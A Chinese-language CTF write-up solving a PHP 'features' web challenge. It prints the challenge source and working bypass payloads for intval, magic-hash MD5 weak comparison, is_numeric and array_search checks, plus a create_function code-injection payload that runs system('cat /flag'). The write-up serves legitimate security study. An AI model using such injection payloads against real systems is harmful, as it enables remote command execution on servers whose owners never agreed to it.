了解过PHP特性吗 wp
第一页题目代码:
<?php
error_reporting(0);
highlight_file(__FILE__);
include("rce.php");
$checker_1 = FALSE;
$checker_2 = FALSE;
$checker_3 = FALSE;
$checker_4 = FALSE;
$num = $_GET['num'];
if (preg_match("/[0-9]/", $num)) {
die("no!!");
}
if (intval($num)) {
$checker_1 = TRUE;
}
if (isset($_POST['ctype']) && isset($_POST['is_num'])) {
$ctype = strrev($_POST['ctype']);
$is_num = strrev($_POST['is_num']);
if (ctype_alpha($ctype) && is_numeric($is_num) && md5($ctype) == md5($is_num)) {
$checker_2 = TRUE;
}
}
$_114 = $_GET['114'];
$_514 = $_POST['514'];
if (isset($_114) && intval($_114) > 114514 && strlen($_114) <= 3) {
if (!is_numeric($_514) && $_514 > 9999999) {
$checker_3 = TRUE;
}
}
$arr4y = $_POST['arr4y'];
if (is_array($arr4y)) {
for ($i = 0; $i < count($arr4y); $i++) {
if ($arr4y[$i] === "NSS") {
die("no!");
}
$arr4y[$i] = intval($arr4y[$i]);
}
if (array_search("NSS", $arr4y) === 0) {
$checker_4 = TRUE;
}
}
if ($checker_1 && $checker_2 && $checker_3 && $checker_4) {
echo $rce;
}
第一关:intval 无数字绕过
推荐博客:CTFshow刷题日记-WEB-PHP特性(上)
if (preg_match("/[0-9]/", $num)) {
die("no!!");
}
if (intval($num)) {
$checker_1 = TRUE;
}
num 中没有数字却要通过 intval 的检测。
已知 intval 有如下特性:
echo intval(array()); // 0
echo intval(array('foo', 'bar')); // 1
那么只需要传入一个非空的数组即可:
num[1]=a&num[2]=b
第二关:ctype_alpha && is_numeric && md5 弱比较绕过
推荐博客:MD5绕过
if (isset($_POST['ctype']) && isset($_POST['is_num'])) {
$ctype = strrev($_POST['ctype']);
$is_num = strrev($_POST['is_num']);
if (ctype_alpha($ctype) && is_numeric($is_num) && md5($ctype) == md5($is_num)) {
$checker_2 = TRUE;
}
}
ctype_alpha
函数检测提供的 string 类型的 text
里面的所有字符是否都是字母。
is_numeric
函数用于检测变量是否为数字或数字字符串。
strrev
函数反转字符串,所以传入的值要先反转一次。
因此让 ctype 是纯字母,让 is_num 是纯数字,并且两边经过 MD5 加密后都是 0e 开头,就可以通过弱比较。
经过 MD5 加密后是 0e 开头的纯字母字符串:
QLTHNDT
QNKCDZO
EEIZDOI
… …
经过 MD5 加密后是 0e 开头的纯数字字符串:
240610708
4011627063
4775635065
… …
POST 传参:
ctype=TDNHTLQ&is_num=807016042
第三关:intval 绕过且长度限制,is_numeric 绕过
$_114 = $_GET['114'];
$_514 = $_POST['514'];
if (isset($_114) && intval($_114) > 114514 && strlen($_114) <= 3) {
if (!is_numeric($_514) && $_514 > 9999999) {
$checker_3 = TRUE;
}
}
114 用科学记数法传入即可,514 可以用 数字+字母,数字+%00,或者数组绕过。
GET 传参:114=1e8
,POST 传参:514=999999999a
第四关:array_search 绕过
推荐博客:PHP弱类型总结
$arr4y = $_POST['arr4y'];
if (is_array($arr4y)) {
for ($i = 0; $i < count($arr4y); $i++) {
if ($arr4y[$i] === "NSS") {
die("no!");
}
$arr4y[$i] = intval($arr4y[$i]);
}
if (array_search("NSS", $arr4y) === 0) {
$checker_4 = TRUE;
}
}
array_search()
函数在数组中搜索某个键值,并返回对应的键名。
用法示例:
<?php
$a=array("a"=>"red","b"=>"green","c"=>"blue");
echo array_search("red",$a);
?>
输出结果:a
array_search()
函数在查找时使用的是弱比较;
PHP 中比较 0 == "NSS"
时,字符串 "NSS"
会被转换为数字 0,所以比较的结果是 true
。
因此可以传入一个数组,其值是 0 ,这样在 array_search() 查找时一定能成功,返回键名为 0 ,那么强比较就成功了。
因此 payload 为 POST 传参:arr4y[]=0
该数组只有一个元素,其下标为 0 ,值为 0 ,下标就相当于键名;
array_search() 查找时,将 “NSS” 与键值 0 做弱比较,比较成功,返回键名 0 。
上述 payload 整合后,返回结果为:
提示:Rc3_function.php
第二页题目代码:
访问 Rc3_function.php :
<?php
error_reporting(0);
highlight_file(__FILE__);
$nss=$_POST['nss'];
$shell = $_POST['shell'];
if(isset($shell)&& isset($nss)){
$nss_shell = create_function($shell,$nss);
}
create_function 注入
推荐博客:[NISACTF 2022]level-up level 5
POST 传参 payload:
nss=return;}system('cat /flag');/*&shell=
返回结果:
拿到 flag 。
发表评论 取消回复